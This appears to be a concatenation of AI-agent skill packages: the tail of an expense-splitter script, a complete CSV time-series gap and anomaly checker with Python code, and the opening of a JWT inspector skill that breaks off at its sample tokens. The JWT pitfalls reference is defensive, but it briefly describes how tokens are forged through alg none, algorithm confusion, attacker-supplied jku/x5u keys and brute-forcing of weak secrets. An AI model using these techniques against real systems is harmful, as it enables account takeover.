ok("at most n-1 transfers", len(r["transfers"]) <= 4)
after = dict(r["net"])
for t in r["transfers"]:
after[t["from"]] += t["amount"]
after[t["to"]] -= t["amount"]
ok("transfers settle everyone to zero", all(v == 0 for v in after.values()))
ok("deterministic output", compute(big)["transfers"] == r["transfers"])
bad_inputs = [
(dict(base, expenses=[{"desc": "X", "amount": 10, "paid_by": "Zed"}]), "unknown payer rejected"),
(dict(base, expenses=[{"desc": "X", "amount": 10, "currency": "GBP", "paid_by": "Ana"}]), "missing rate rejected"),
(dict(base, expenses=[{"desc": "X", "amount": 10, "paid_by": "Ana", "exact": {"Ben": 3}}]), "exact mismatch rejected"),
(dict(base, expenses=[{"desc": "X", "amount": -5, "paid_by": "Ana"}]), "negative amount rejected"),
({"people": ["Solo"], "expenses": []}, "single person rejected"),
]
for data, label in bad_inputs:
try:
compute(data)
ok(label, False)
except SplitError:
ok(label, True)
ok("markdown has settle-up section", "## Who pays whom" in to_markdown(compute(dict(base, expenses=[{"desc": "Taxi", "amount": 10, "paid_by": "Ana"}]))))
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Split shared trip expenses and plan a short list of settle-up transfers.")
ap.add_argument("file", nargs="?", help="trip JSON file, or '-' for stdin")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("trip JSON required (or --self-test)")
try:
data = json.load(sys.stdin if a.file == "-" else open(a.file, encoding="utf-8"))
r = compute(data)
except (OSError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2, ensure_ascii=False) if a.json else to_markdown(r))
return 0
if __name__ == "__main__":
sys.exit(main())Checks CSV time series (metrics, sensor readings, sales by hour) for data problems before you chart or alert on them: missing intervals, duplicate or out-of-order timestamps, empty values, flatlines from stuck exporters, robust median/MAD spikes, and counter resets. Use when a dashboard looks wrong, before training a forecast, or when asking "is this data complete?". Includes a stdlib Python checker with --self-test.
---
name: time-series-gap-anomaly-checker
description: Checks CSV time series (metrics, sensor readings, sales by hour) for data problems before you chart or alert on them: missing intervals, duplicate or out-of-order timestamps, empty values, flatlines from stuck exporters, robust median/MAD spikes, and counter resets. Use when a dashboard looks wrong, before training a forecast, or when asking "is this data complete?". Includes a stdlib Python checker with --self-test.
---
# Time Series Gap and Anomaly Checker
You help analysts, SREs, and data engineers decide whether a time series can be trusted. You find where data is missing, repeated, stuck, or suspicious, explain the likely cause of each problem, and separate collection problems (the pipeline) from real events (the system being measured). You never silently fill gaps or delete outliers; you propose a treatment and say what it changes.
## Files in this skill
- `scripts/ts_check.py` - reads a CSV, infers the sampling interval, and reports gaps, duplicates, out-of-order rows, missing values, flatlines, spikes, and counter resets as markdown or JSON (Python 3 standard library only)
- `references/anomaly-methods.md` - how the checks work, how to tune thresholds, and when each method fails
- `references/gap-handling-playbook.md` - what to do with each kind of problem: fill, interpolate, drop, or annotate
- `templates/data-quality-report.md` - a report for a dashboard fix, incident review, or dataset hand-off
- `examples/api-metrics.csv` - three hours of 5-minute API metrics with a scrape outage, a duplicate, a stuck value, a latency spike, and a counter reset
## Workflow
### 1. Understand the series
Ask what each column measures, its unit, the expected sampling interval, and whether any column is a monotonic counter (requests_total, bytes_sent). Ask which time zone naive timestamps use; the script treats them as UTC.
### 2. Run the checker
```
python3 scripts/ts_check.py examples/api-metrics.csv --counter requests_total
python3 scripts/ts_check.py data.csv --time-col ts --cols temp_c,humidity --interval 10m
python3 scripts/ts_check.py data.csv --z 5 --window 12 --flatline-points 12 --json > report.json
python3 scripts/ts_check.py --self-test
```
Timestamps can be ISO 8601 or Unix epoch seconds or milliseconds. Exit code 1 when any issue is found, 2 on bad input, so it can run as a pipeline gate.
### 3. Read the results
- **Completeness** = rows present / rows expected over the range. Below 95% usually means aggregates and averages are biased.
- **gap**: spacing over 1.5x the interval. Long gaps at regular times often mean deploys or cron jobs; one long gap usually means an outage of the collector.
- **duplicate / out_of_order**: double scrapes, retries, or merged files.
- **flatline**: the same value repeated; real for on/off signals, suspicious for noisy measurements.
- **spike**: robust z-score against a rolling median. Check whether neighbouring columns spike at the same time (a real event) or not (a glitch).
- **reset**: a counter that went down, usually a process restart; rate calculations must handle it.
### 4. Recommend treatment
Use `references/gap-handling-playbook.md`. Tune thresholds with `references/anomaly-methods.md` if the data is seasonal, bursty, or very sparse.
### 5. Report
Fill `templates/data-quality-report.md` with the summary numbers, the top issues with times in the user's time zone, the suspected cause, and the agreed treatment.
## Rules
- Report problems; do not alter the source data. Write cleaned data to a new file and document every change.
- Do not call a spike an incident without corroboration (other metrics, logs, or a human).
- State the interval and thresholds you used so results are reproducible.
- Convert UTC times to the user's time zone when presenting them.
FILE:references/anomaly-methods.md
# Anomaly Methods and Tuning
## Interval inference
The expected interval is the median spacing between sorted unique timestamps. This survives a few gaps and jitter. Pass `--interval` when the series is mostly gaps (sparse events) or when you know the scrape interval.
A gap is any spacing above 1.5x the interval, so 5-minute data with a 7-minute spacing is not a gap but a 10-minute spacing is (1 missing point).
## Robust spikes (rolling median + MAD)
For each point, take up to `--window` neighbours on each side (excluding the point), compute their median and the median absolute deviation (MAD). The robust z-score is:
z = |value - median| / (1.4826 * MAD)
1.4826 makes MAD comparable to a standard deviation for normal data. Default threshold 4 is roughly a 1-in-15,000 event for normal noise. When more than half the neighbours are identical (MAD = 0), the mean absolute deviation is used, and for a perfectly flat neighbourhood 1% of the level.
Why not mean and standard deviation? One large spike inflates the standard deviation and hides itself. The median and MAD ignore it.
## Tuning
| Data | Suggestion |
|---|---|
| Noisy metrics (latency, CPU) | `--z 5`, `--window 12` |
| Daily or weekly seasonality | Check one season at a time, or compare to the same hour last week before trusting spikes |
| Bursty business data (orders) | Higher `--z` (6-8); spikes are often real |
| Integer or low-resolution values | Expect MAD = 0; raise `--z` or aggregate first |
| On/off or status signals | Ignore flatline; check only gaps |
| Counters | Always pass `--counter`; check rates after handling resets |
## Known limits
- Gradual drifts and level shifts are not spikes; plot the series or compare week-over-week medians.
- The first and last few points have fewer neighbours, so their scores are less reliable.
- Irregular event streams (logins, purchases) have no fixed interval; aggregate into buckets first.
FILE:references/gap-handling-playbook.md
# Gap and Anomaly Handling Playbook
| Problem | Likely causes | Default treatment | Avoid |
|---|---|---|---|
| Short gap (1-2 points) | scrape timeout, network blip | Linear interpolation for smooth signals; leave null for counts | Filling counts with zero |
| Long gap | collector down, deploy, host off | Leave null and annotate the chart; exclude from SLO math or count as unknown | Interpolating across hours |
| Duplicate timestamps | double scrape, retried batch, merged files | Keep one row (first, or the one with most fields); check whether values differ | Summing duplicates |
| Out-of-order rows | late-arriving data, file concatenation | Sort by time before any windowed calculation | Assuming file order is time order |
| Missing values | sensor dropout, parse errors, "N/A" strings | Fix the parser first; then treat as a gap | Treating blank as 0 |
| Flatline | stuck exporter, cached value, sensor freeze | Confirm with a second source; mark as suspect | Trusting it for alerts |
| Spike (single point) | glitch, unit error, real burst | Check related columns and logs; cap or remove only with a documented reason | Deleting without a note |
| Counter reset | process restart, overflow | Compute rates per segment (rate after reset = new value / interval) | Negative rates |
## Before modeling or forecasting
1. Sort, de-duplicate, and regularize to the expected interval (insert nulls for missing slots).
2. Decide gap policy per column and record it.
3. Keep a mask column (`is_imputed`) so models and readers know what was filled.
4. Re-run the checker on the cleaned file and attach both reports.
## When to escalate
- Completeness under 90% for a metric used in an SLO or invoice.
- Gaps that repeat at the same time every day (a job is killing the collector).
- Spikes that appear in all hosts at once (a real incident, not a data issue).
FILE:templates/data-quality-report.md
# Time Series Data Quality - <dataset or dashboard>
**Source:** <file / query> **Range:** <start> to <end> (<time zone>) **Interval:** <expected>
**Rows:** <n> **Completeness:** <percent> **Thresholds:** z=<z>, window=<w>, flatline=<n>
## Summary
<two sentences: can this data be trusted for the intended use, and what must change first>
## Issues
| Kind | When (<time zone>) | Column | Detail | Suspected cause | Treatment |
|---|---|---|---|---|---|
| | | | | | |
## Decisions
- Gap policy: <interpolate short gaps / leave null / exclude>
- Outlier policy: <keep / cap / remove with note>
- Counter handling: <segment rates at resets>
## Follow-ups
- [ ] <fix collector / parser / alert> - owner <name> - due <date>
Generated with scripts/ts_check.py. Source data was not modified.
FILE:examples/api-metrics.csv
timestamp,p95_latency_ms,error_rate,requests_total
2026-10-18T22:00:00Z,182,0.4,1200
2026-10-18T22:05:00Z,176,0.3,2435
2026-10-18T22:10:00Z,190,0.5,3705
2026-10-18T22:15:00Z,185,0.4,5010
2026-10-18T22:20:00Z,179,0.3,6210
2026-10-18T22:25:00Z,188,0.4,7445
2026-10-18T22:30:00Z,181,0.5,8715
2026-10-18T22:35:00Z,193,0.4,10020
2026-10-18T22:35:00Z,193,0.4,10020
2026-10-18T22:40:00Z,177,0.3,11220
2026-10-18T22:45:00Z,184,0.4,12455
2026-10-18T22:50:00Z,186,0.4,13725
2026-10-18T22:55:00Z,180,0.4,15030
2026-10-18T23:00:00Z,191,0.4,16230
2026-10-18T23:05:00Z,,0.4,17465
2026-10-18T23:10:00Z,178,0.4,18735
2026-10-18T23:15:00Z,187,0.4,20040
2026-10-18T23:20:00Z,182,0.4,21240
2026-10-18T23:25:00Z,189,0.4,22475
2026-10-18T23:30:00Z,612,2.1,23745
2026-10-18T23:35:00Z,185,0.5,25050
2026-10-18T23:40:00Z,180,0.3,26250
2026-10-18T23:45:00Z,184,0.4,27485
2026-10-19T00:10:00Z,188,0.5,28755
2026-10-19T00:15:00Z,183,0.4,30060
2026-10-19T00:20:00Z,177,0.3,31260
2026-10-19T00:25:00Z,185,0.4,32495
2026-10-19T00:30:00Z,182,0.5,1180
2026-10-19T00:35:00Z,189,0.4,2485
2026-10-19T00:40:00Z,184,0.3,3685
2026-10-19T00:45:00Z,180,0.4,4920
2026-10-19T00:50:00Z,186,0.5,6190
2026-10-19T00:55:00Z,183,0.4,7495
FILE:scripts/ts_check.py
#!/usr/bin/env python3
"""Time series gap and anomaly checker for CSV metrics (Python 3 standard library only).
Reads a CSV with a timestamp column and one or more numeric columns, infers the sampling
interval (median spacing) unless --interval is given, and reports:
gap missing samples (spacing > 1.5 x interval), with how many points are missing
duplicate repeated timestamps
out_of_order timestamps that go backwards
missing empty, NaN, or non-numeric values
flatline the same value repeated for >= --flatline-points samples (stuck sensor/exporter)
spike robust outliers: |value - rolling median| / (1.4826 * MAD) >= --z (default 4);
if MAD is 0 the mean absolute deviation is used instead
reset a counter column that decreases (--counter col1,col2)
Timestamps: ISO 8601 (with Z or offset; naive = UTC) or Unix epoch seconds/milliseconds.
Usage:
python3 ts_check.py metrics.csv
python3 ts_check.py metrics.csv --time-col ts --cols cpu,latency_ms --interval 5m --z 5
python3 ts_check.py metrics.csv --counter requests_total --json
python3 ts_check.py --self-test
Exit code: 0 clean, 1 issues found, 2 bad input.
"""
import argparse
import csv
import datetime as dt
import io
import json
import math
import re
import statistics
import sys
class InputError(ValueError):
pass
def parse_ts(raw):
s = (raw or "").strip()
if not s:
raise InputError("empty timestamp")
if re.fullmatch(r"-?\d+(\.\d+)?", s):
v = float(s)
return v / 1000.0 if v > 1e11 else v
try:
t = dt.datetime.fromisoformat(s.replace("Z", "+00:00").replace(" ", "T", 1))
except ValueError:
raise InputError(f"unparseable timestamp {s!r}")
if t.tzinfo is None:
t = t.replace(tzinfo=dt.timezone.utc)
return t.timestamp()
def parse_interval(s):
m = re.fullmatch(r"(\d+(?:\.\d+)?)\s*(ms|s|m|h|d)?", s.strip())
if not m:
raise InputError(f"bad interval {s!r}; use e.g. 30s, 5m, 1h")
mult = {"ms": 0.001, "s": 1, None: 1, "m": 60, "h": 3600, "d": 86400}[m.group(2)]
return float(m.group(1)) * mult
def fmt_ts(ts):
return dt.datetime.fromtimestamp(ts, dt.timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
def fmt_dur(sec):
for unit, size in (("d", 86400), ("h", 3600), ("m", 60)):
if sec >= size:
v = sec / size
return f"{v:.0f}{unit}" if v == int(v) else f"{v:.1f}{unit}"
return f"{sec:g}s"
def to_float(raw):
s = (raw or "").strip()
if s == "" or s.lower() in ("nan", "null", "none", "na", "n/a", "-"):
return None
try:
v = float(s)
except ValueError:
return None
return None if math.isnan(v) or math.isinf(v) else v
def load(text, time_col=None, cols=None):
reader = csv.DictReader(io.StringIO(text))
if not reader.fieldnames:
raise InputError("CSV has no header row")
fields = [f.strip() for f in reader.fieldnames]
reader.fieldnames = fields
if time_col is None:
cands = [f for f in fields if f.lower() in ("timestamp", "time", "ts", "date", "datetime")]
time_col = cands[0] if cands else fields[0]
if time_col not in fields:
raise InputError(f"time column {time_col!r} not in header {fields}")
value_cols = cols or [f for f in fields if f != time_col]
for c in value_cols:
if c not in fields:
raise InputError(f"column {c!r} not in header {fields}")
rows = []
for i, r in enumerate(reader, start=2):
rows.append({"line": i, "ts": parse_ts(r.get(time_col)),
"raw": {c: r.get(c) for c in value_cols}})
if len(rows) < 3:
raise InputError("need at least 3 data rows")
return time_col, value_cols, rows
def rolling_robust(values, idx, window):
lo, hi = max(0, idx - window), min(len(values), idx + window + 1)
neigh = [values[j] for j in range(lo, hi) if j != idx and values[j] is not None]
if len(neigh) < 4:
return None, None
med = statistics.median(neigh)
mad = statistics.median(abs(v - med) for v in neigh)
scale = 1.4826 * mad
if scale == 0: # more than half the neighbours equal the median: fall back to mean absolute deviation
scale = 1.2533 * statistics.fmean(abs(v - med) for v in neigh)
if scale == 0: # perfectly flat neighbourhood: 1% of the level
scale = max(abs(med) * 0.01, 1e-9)
return med, scale
def check(text, time_col=None, cols=None, interval=None, z=4.0, window=6, flatline_points=6, counters=()):
time_col, value_cols, rows = load(text, time_col, cols)
issues = []
def add(kind, line, ts, col, detail):
issues.append({"kind": kind, "line": line, "time": fmt_ts(ts), "column": col, "detail": detail})
# order and duplicates (in file order)
seen = {}
for prev, cur in zip(rows, rows[1:]):
if cur["ts"] < prev["ts"]:
add("out_of_order", cur["line"], cur["ts"], time_col, f"goes back {fmt_dur(prev['ts'] - cur['ts'])} from line {prev['line']}")
for r in rows:
if r["ts"] in seen:
add("duplicate", r["line"], r["ts"], time_col, f"same timestamp as line {seen[r['ts']]}")
else:
seen[r["ts"]] = r["line"]
srt = sorted({r["ts"]: r for r in reversed(rows)}.values(), key=lambda r: r["ts"]) # first occurrence wins
diffs = [b["ts"] - a["ts"] for a, b in zip(srt, srt[1:]) if b["ts"] > a["ts"]]
if interval is None:
if not diffs:
raise InputError("cannot infer interval: all timestamps identical")
interval = statistics.median(diffs)
expected = int(round((srt[-1]["ts"] - srt[0]["ts"]) / interval)) + 1
missing_points = 0
for a, b in zip(srt, srt[1:]):
d = b["ts"] - a["ts"]
if d > 1.5 * interval:
n = int(round(d / interval)) - 1
missing_points += n
add("gap", b["line"], a["ts"], time_col, f"{fmt_dur(d)} without data after {fmt_ts(a['ts'])} (~{n} missing)")
stats = {}
for c in value_cols:
vals = [to_float(r["raw"][c]) for r in srt]
for r, v in zip(srt, vals):
if v is None:
add("missing", r["line"], r["ts"], c, f"value {r['raw'][c]!r} is empty or not numeric")
# flatline runs
run_start = 0
for i in range(1, len(vals) + 1):
if i < len(vals) and vals[i] is not None and vals[i] == vals[run_start]:
continue
length = i - run_start
if vals[run_start] is not None and length >= flatline_points:
r0, r1 = srt[run_start], srt[i - 1]
add("flatline", r0["line"], r0["ts"], c, f"value {vals[run_start]:g} repeated {length}x until {fmt_ts(r1['ts'])}")
run_start = i
if c in counters:
for i in range(1, len(vals)):
if vals[i] is not None and vals[i - 1] is not None and vals[i] < vals[i - 1]:
add("reset", srt[i]["line"], srt[i]["ts"], c, f"counter dropped {vals[i - 1]:g} -> {vals[i]:g} (restart or wrap)")
else:
for i, v in enumerate(vals):
if v is None:
continue
med, scale = rolling_robust(vals, i, window)
if med is None:
continue
score = abs(v - med) / scale
if score >= z:
add("spike", srt[i]["line"], srt[i]["ts"], c, f"{v:g} vs local median {med:g} (robust z {score:.1f})")
good = [v for v in vals if v is not None]
stats[c] = {"count": len(good), "min": min(good) if good else None, "max": max(good) if good else None,
"median": statistics.median(good) if good else None}
order = {"out_of_order": 0, "duplicate": 1, "gap": 2, "reset": 3, "missing": 4, "flatline": 5, "spike": 6}
issues.sort(key=lambda x: (order[x["kind"]], x["time"], x["column"]))
counts = {}
for it in issues:
counts[it["kind"]] = counts.get(it["kind"], 0) + 1
return {
"rows": len(rows), "time_column": time_col, "columns": value_cols,
"start": fmt_ts(srt[0]["ts"]), "end": fmt_ts(srt[-1]["ts"]),
"interval": fmt_dur(interval), "interval_seconds": interval,
"expected_points": expected, "missing_points": missing_points,
"completeness": round(100.0 * len(srt) / expected, 1) if expected else 100.0,
"stats": stats, "counts": counts, "issues": issues,
}
def to_markdown(r):
lines = ["# Time series check", "",
f"Rows: {r['rows']} Range: {r['start']} to {r['end']} Interval: {r['interval']}",
f"Completeness: {r['completeness']}% ({r['missing_points']} of {r['expected_points']} expected points missing)", "",
"| Column | Count | Min | Median | Max |", "|---|---|---|---|---|"]
for c, s in r["stats"].items():
f = lambda v: "-" if v is None else f"{v:g}"
lines.append(f"| {c} | {s['count']} | {f(s['min'])} | {f(s['median'])} | {f(s['max'])} |")
lines += ["", "## Issues"]
if not r["issues"]:
lines.append("No issues found.")
else:
lines.append("Totals: " + ", ".join(f"{k} {v}" for k, v in r["counts"].items()))
lines += ["", "| Kind | Time (UTC) | Column | Line | Detail |", "|---|---|---|---|---|"]
lines += [f"| {i['kind']} | {i['time']} | {i['column']} | {i['line']} | {i['detail']} |" for i in r["issues"]]
return "\n".join(lines)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
base = 1760860800 # 2025-10-19T08:00:00Z
def csv_of(points, header="timestamp,value"):
return header + "\n" + "\n".join(f"{t},{v}" for t, v in points) + "\n"
wave = [10 + (i % 3) for i in range(30)]
clean = csv_of([(base + 60 * i, v) for i, v in enumerate(wave)])
r = check(clean)
ok("clean series has no issues", r["issues"] == [])
ok("interval inferred as 1m", r["interval"] == "1m")
ok("completeness 100%", r["completeness"] == 100.0)
gap_pts = [(base + 60 * i, v) for i, v in enumerate(wave) if not 10 <= i < 15]
r = check(csv_of(gap_pts))
ok("gap detected", r["counts"].get("gap") == 1)
ok("gap counts 5 missing points", r["missing_points"] == 5)
spiky = list(wave); spiky[20] = 95
r = check(csv_of([(base + 60 * i, v) for i, v in enumerate(spiky)]))
ok("spike detected", [i["line"] for i in r["issues"] if i["kind"] == "spike"] == [22])
flat = list(wave); flat[5:13] = [7] * 8
r = check(csv_of([(base + 60 * i, v) for i, v in enumerate(flat)]), z=100)
ok("flatline detected", r["counts"].get("flatline") == 1)
miss = [(base + 60 * i, ("" if i == 4 else "NaN" if i == 9 else v)) for i, v in enumerate(wave)]
ok("missing values detected", check(csv_of(miss)).get("counts").get("missing") == 2)
dup = [(base + 60 * i, v) for i, v in enumerate(wave)]
dup.insert(6, dup[5])
ok("duplicate detected", check(csv_of(dup))["counts"].get("duplicate") == 1)
ooo = [(base + 60 * i, v) for i, v in enumerate(wave)]
ooo[7], ooo[8] = ooo[8], ooo[7]
ok("out of order detected", check(csv_of(ooo))["counts"].get("out_of_order") == 1)
counter = [(base + 60 * i, 100 * i if i < 20 else 100 * (i - 20)) for i in range(30)]
r = check(csv_of(counter, "ts,requests_total"), counters=("requests_total",))
ok("counter reset detected", r["counts"].get("reset") == 1 and "spike" not in r["counts"])
iso_rows = "time,cpu\n" + "\n".join(f"2026-10-19T08:{i:02d}:00Z,{40 + (i % 2)}" for i in range(0, 60, 5)) + "\n"
r = check(iso_rows)
ok("ISO timestamps and 5m interval", r["interval"] == "5m" and r["issues"] == [])
ms_rows = csv_of([((base + 30 * i) * 1000, v) for i, v in enumerate(wave)])
ok("epoch milliseconds accepted", check(ms_rows)["interval"] == "30s")
r = check(clean, interval=30.0)
ok("explicit 30s interval flags every 1m step as a gap", r["counts"].get("gap") == 29 and r["completeness"] < 60)
jitter = csv_of([(base + 60 * i + (3 if i % 2 else -2), v) for i, v in enumerate(wave)])
ok("small timestamp jitter is not a gap", "gap" not in check(jitter)["counts"])
multi = "timestamp,a,b\n" + "\n".join(f"{base + 60 * i},{wave[i]},{wave[i] * 2 if i != 12 else 500}" for i in range(30)) + "\n"
r = check(multi, cols=["a", "b"])
ok("multi-column spike only in b", {i["column"] for i in r["issues"]} == {"b"})
for bad, label in (("timestamp,value\n1,2\n", "too few rows rejected"),
("timestamp,value\nyesterday,1\ntoday,2\nnow,3\n", "bad timestamp rejected")):
try:
check(bad)
ok(label, False)
except InputError:
ok(label, True)
ok("markdown renders", "## Issues" in to_markdown(check(clean)))
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Find gaps, duplicates, flatlines, spikes, and counter resets in CSV metrics.")
ap.add_argument("csv", nargs="?", help="CSV file, or '-' for stdin")
ap.add_argument("--time-col")
ap.add_argument("--cols", help="comma-separated value columns (default: all except the time column)")
ap.add_argument("--interval", help="expected spacing, e.g. 30s, 5m, 1h (default: median spacing)")
ap.add_argument("--z", type=float, default=4.0, help="robust z-score threshold for spikes (default 4)")
ap.add_argument("--window", type=int, default=6, help="neighbours on each side for the rolling median (default 6)")
ap.add_argument("--flatline-points", type=int, default=6)
ap.add_argument("--counter", default="", help="comma-separated monotonic counter columns (checked for resets, not spikes)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.csv:
ap.error("csv path required (or --self-test)")
try:
text = sys.stdin.read() if a.csv == "-" else open(a.csv, encoding="utf-8-sig").read()
r = check(text, a.time_col, [c.strip() for c in a.cols.split(",")] if a.cols else None,
parse_interval(a.interval) if a.interval else None, a.z, a.window, a.flatline_points,
tuple(c.strip() for c in a.counter.split(",") if c.strip()))
except (OSError, InputError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else to_markdown(r))
return 1 if r["issues"] else 0
if __name__ == "__main__":
sys.exit(main())Decodes a JWT without trusting it and lints the header and claims: alg none, remote jku/x5u keys, missing or expired exp, nbf/iat clock skew, millisecond timestamps, long lifetimes, iss/aud mismatches, sensitive data in the payload, and HMAC signature checks with a secret from an env var. Use when a login or API call fails with 401, or when reviewing token settings. Includes a stdlib Python inspector with --self-test.
---
name: jwt-token-inspector
description: Decodes a JWT without trusting it and lints the header and claims: alg none, remote jku/x5u keys, missing or expired exp, nbf/iat clock skew, millisecond timestamps, long lifetimes, iss/aud mismatches, sensitive data in the payload, and HMAC signature checks with a secret from an env var. Use when a login or API call fails with 401, or when reviewing token settings. Includes a stdlib Python inspector with --self-test.
---
# JWT Token Inspector
You help developers understand and debug JSON Web Tokens safely. You decode the header and payload, translate timestamps into readable UTC times, explain what each claim means, and flag settings that make the token unsafe, unusable, or likely to break in production. You treat every token as untrusted: decoding is not verification, and you say so.
## Files in this skill
- `scripts/jwt_inspect.py` - decodes a JWS compact token, lints header and claims, optionally verifies HS256/HS384/HS512 with a secret, prints markdown or JSON (Python 3 standard library only)
- `references/claims-and-validation.md` - registered claims, what a verifier must check, and in which order
- `references/common-jwt-pitfalls.md` - the mistakes behind most JWT bugs and incidents, with fixes
- `templates/jwt-review.md` - a short report for a bug ticket, PR review, or security review
- `examples/sample-tokens.md` - three demo tokens (long-lived, alg none, remote jku with millisecond exp) and expected findings
## Workflow
### 1. Handle the token safely
Ask for a token from a test or staging environment. If the user pastes a live production token, warn them that it grants access until it expires and suggest rotating it after the session. Never repeat the full token or signature back in your answer.
### 2. Run the inspector
```
python3 scripts/jwt_inspect.py "<token>"
python3 scripts/jwt_inspect.py "<token>" --now 2026-10-19T09:00:00Z --leeway 60
python3 scripts/jwt_inspect.py "<token>" --expect-iss https://auth.example.com --expect-aud api://orders
JWT_SECRET=... python3 scripts/jwt_inspect.py "<token>" --secret-env JWT_SECRET
python3 scripts/jwt_inspect.py --self-test
```
A `Bearer ` prefix is stripped. Use `-` to read the token from stdin. Exit code 1 means at least one high finding (`--strict`: any finding); 2 means the token could not be decoded.
### 3. Explain the result
- Show the decoded header and claims and the exp/nbf/iat times in UTC and in the user's time zone.
- Group findings by severity: **high** (unsafe or rejected: alg none, empty signature, expired, not yet valid, iss/aud mismatch, remote or embedded keys, bad signature, millisecond timestamps), **medium** (no exp, lifetime over policy, sensitive claims, weak HMAC secret, iat in the future), **low** (missing iss, aud, sub, or kid).
- For a 401, match the finding to the symptom using `references/claims-and-validation.md`: clock skew, wrong audience, wrong issuer, or wrong key are the usual causes.
### 4. Recommend fixes
Use `references/common-jwt-pitfalls.md`: pin the algorithm list on the verifier, keep access tokens short (5-15 minutes) with refresh tokens, move personal data out of the payload, allow 30-60 seconds of leeway, and fetch keys only from a configured JWKS URL.
### 5. Report
Fill `templates/jwt-review.md` with the token fingerprint (never the token), findings, root cause, and the agreed fix.
## Rules
- Decoding is not verification. Never say a token is valid unless its signature was checked with the right key.
- Never print or store full tokens, signatures, or secrets. Pass secrets through an environment variable, not the command line.
- Do not help forge, replay, or tamper with tokens for systems the user does not own.
- RS/ES/PS/EdDSA signatures need the public key and a proper JOSE library; the script only verifies HMAC algorithms.
FILE:references/claims-and-validation.md
# Claims and Validation Order
## Registered claims (RFC 7519)
| Claim | Meaning | Type | Notes |
|---|---|---|---|
| iss | Issuer | string/URL | Pin it on the verifier; one issuer per trust domain |
| sub | Subject (user or service id) | string | Stable id, not an email that can change |
| aud | Audience | string or array | The API must find its own id in it |
| exp | Expiration time | NumericDate (seconds) | Required for access tokens |
| nbf | Not before | NumericDate | Token is rejected until then |
| iat | Issued at | NumericDate | Used for lifetime and freshness checks |
| jti | Token id | string | Enables revocation lists and replay detection |
NumericDate is seconds since 1970-01-01T00:00:00Z. A 13-digit value is milliseconds and will be read as a date tens of thousands of years away.
## Header parameters
- `alg` - signing algorithm. The verifier decides which values are allowed; the token never does.
- `kid` - key id, used to pick the right key from the issuer's JWKS during rotation.
- `typ` - usually `JWT` or `at+jwt` (access token profile, RFC 9068).
- `jku`, `x5u`, `jwk` - point to or embed keys. Ignore them unless they match a pinned, trusted source.
## What a verifier must check, in order
1. Token has three segments and decodes to JSON objects.
2. `alg` is in the verifier's allow-list (for example only RS256). Reject `none`.
3. Signature verifies with a key chosen by `kid` from a trusted JWKS, never from the token itself.
4. `exp` is in the future and `nbf` is in the past, both with small leeway (30-60 s).
5. `iss` equals the expected issuer.
6. `aud` contains this service's id.
7. Application rules: scopes, roles, tenant, `jti` not revoked.
## Matching 401 symptoms to causes
| Symptom | Likely cause | Check |
|---|---|---|
| Works locally, fails in prod | Clock skew or different issuer URL | iat/nbf vs server time, iss |
| Fails right after login | nbf or iat in the future | server clocks (NTP) |
| Fails for one API only | Wrong audience | aud list |
| Fails after key rotation | Unknown kid or cached JWKS | kid vs JWKS, cache TTL |
| Never expires | exp missing or in milliseconds | exp value |
FILE:references/common-jwt-pitfalls.md
# Common JWT Pitfalls
1. **Accepting `alg: none`.** Unsigned tokens are forgeable. Fix: pass an explicit algorithm allow-list to the verify call.
2. **Algorithm confusion (RS256 vs HS256).** If a verifier accepts both, an attacker can sign with HMAC using the public key as the secret. Fix: one algorithm family per key.
3. **Trusting keys from the token.** `jku`, `x5u`, or an embedded `jwk` let the sender choose the key. Fix: load keys only from a configured JWKS URL.
4. **Weak HMAC secrets.** Short or dictionary secrets can be brute-forced offline from one token. Fix: at least 32 random bytes for HS256 (48 for HS384, 64 for HS512), stored in a secret manager.
5. **Long-lived access tokens.** A leaked token works until exp. Fix: 5-15 minute access tokens plus rotating refresh tokens; revoke by `jti` if needed.
6. **Personal data in the payload.** Base64url is encoding, not encryption; anyone holding the token can read it. Fix: keep ids and scopes only, or use JWE.
7. **Milliseconds instead of seconds.** Common with `Date.now()` in JavaScript. Fix: `Math.floor(Date.now() / 1000)`.
8. **No leeway.** Small clock differences cause random 401s. Fix: 30-60 seconds of leeway and NTP on all hosts.
9. **Skipping aud/iss checks.** A token for one service gets replayed against another. Fix: always validate both.
10. **Tokens in URLs or logs.** They leak through referrers, proxies, and log search. Fix: send in the Authorization header and redact in logs.
FILE:templates/jwt-review.md
# JWT Review - <service or ticket>
**Token fingerprint:** sha256 <first 12 hex chars> **Environment:** <dev / staging / prod> **Checked at:** <UTC time>
**Issuer:** <iss> **Audience:** <aud> **Algorithm:** <alg> **Lifetime:** <exp - iat>
## Findings
| Severity | Code | Detail | Fix |
|---|---|---|---|
| | | | |
## Root cause
<one or two sentences tying the finding to the reported symptom>
## Agreed changes
- [ ] Verifier: <allow-list, leeway, iss/aud checks>
- [ ] Issuer: <lifetime, claims, key size, kid>
- [ ] Rotate exposed token or secret: <yes/no, owner>
## Notes
Decoded with scripts/jwt_inspect.py. The token itself is not stored in this report.
FILE:examples/sample-tokens.md
# Sample Tokens (demo only, no real systems)
Run each with:
```
python3 scripts/jwt_inspect.py "<token>" --now 2026-10-19T09:00:00Z --expect-aud api://orders
```
## 1. Long-lived customer token (HS256, demo secret "dev-secret")
```
